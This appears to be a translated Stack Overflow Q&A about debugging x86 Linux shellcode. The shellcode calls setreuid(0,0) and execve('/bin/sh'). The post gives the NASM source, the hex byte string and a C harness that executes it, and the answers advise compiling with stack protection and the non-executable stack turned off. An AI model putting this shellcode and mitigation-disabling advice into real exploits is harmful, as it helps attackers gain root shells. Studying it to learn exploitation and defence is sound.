【问题标题】:How can I turn this into shellcode?我怎样才能把它变成shellcode?
【发布时间】:2014-01-28 20:35:52
【问题描述】:

好吧,我写了一个生成 shell 的 ASM 文件。

但是,.text 部分变为“READONLY”,所以我将所有内容都保存在 .data 部分中。当我用 NASM 和 ld 编译它时,它工作得很好。然后,当我使用 shellcode 并在 C 程序中运行它时,我出现了段错误。

ASM:

SECTION .data
        global _start
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 70d
        int 80h
        jmp jump
rev:
        pop ebx
        xor eax, eax
        mov BYTE [ebx+7], al
        mov DWORD [ebx+8], ebx
        mov DWORD [ebx+12], eax
        mov al, 11d
        lea ecx, [ebx+8]
        lea edx, [ebx+12]
        int 80h
jump:
        call rev
shell: db "/bin/sh011112222"

当我编译它时:

nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o

一切都很完美。我可以 ./shell 并生成一个 shell。但是,当我使用时:

objdump -D shell(objdump -d shell 不显示 .data 部分)

然后把它改成 \x??格式,我无法执行 shell。 外壳代码:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32

在C文件中:

#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";

int main(){
        printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
        ((void(*)(void))shellcode)();
        return 0;
}

段错误。

这是 NASM 编译文件的strace 输出的前几行:

[root@Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0)                          = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]

现在,这是带有 shellcode 的 C 编译文件的 strace 输出:

[root@Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0)                                  = 0x238b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

【问题讨论】:

  • 我会用 Strace 输出更新 OP :)
  • 我认为您对 execve 的论点感到困惑?您将 /bin/sh 的地址保留在 ebx 中,并将该地址的地址保留在 ecx 中?
  • 嗯,它仍然有效。这是令人困惑的部分。 ecx 必须包含 ebx 的地址,而不是指针本身。
  • ecx 应该包含字符串的地址(这就是您在开始时弹出 ebx 的内容), ebx 应该包含 ebx+8 而 edx 应该包含 ebx+12 不是吗? this 产生了什么?
  • 它暂停了。我跑了 strace 并且它这样做了:execve("}\220\4\10", [0x6e69622f, 0x68732f, "/bin/sh"], [/* 3 vars */]) = -1 ENOENT (No such file or directory)
    重复。一遍又一遍。这是“man 2 execve”的概要:int execve(const char *filename, char *const argv[], char *const envp[]);

标签: c shell assembly segmentation-fault shellcode


【解决方案1】:

在你的 c 程序中,替换:

unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";

unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";

否则 gcc 会将其放入只读部分(使用 -S 编译以生成 asm 并查看该部分)

此外,您可能需要使用-fno-stack-protector -z execstack 对其进行编译以避免堆栈保护。

【讨论】:

    【解决方案2】:

    这样的事情是不可能的。

    第一个问题:如果将 C 程序编译为 64 位程序,则不能将其与 32 位代码混合使用。我猜你是这样做的。

    第二个:即使您将 C 程序编译为 32 位程序(您必须安装 32 位共享库才能运行它),您也无法运行该程序。这是因为 Linux 的内存管理会通过设置 MMU 的 NX 位来禁止数据段中的代码执行。

    这意味着:尝试在字符串中执行代码(如您所做的那样)将导致分段错误!

    【讨论】:

    • 嗯...当我基本上擦除整个“rev”部分并将其替换为退出系统调用时,它在编译、更改为 shellcode、放入 C 文件、编译和执行时运行良好.
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2018-03-26
    • 1970-01-01
    • 2020-11-06
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多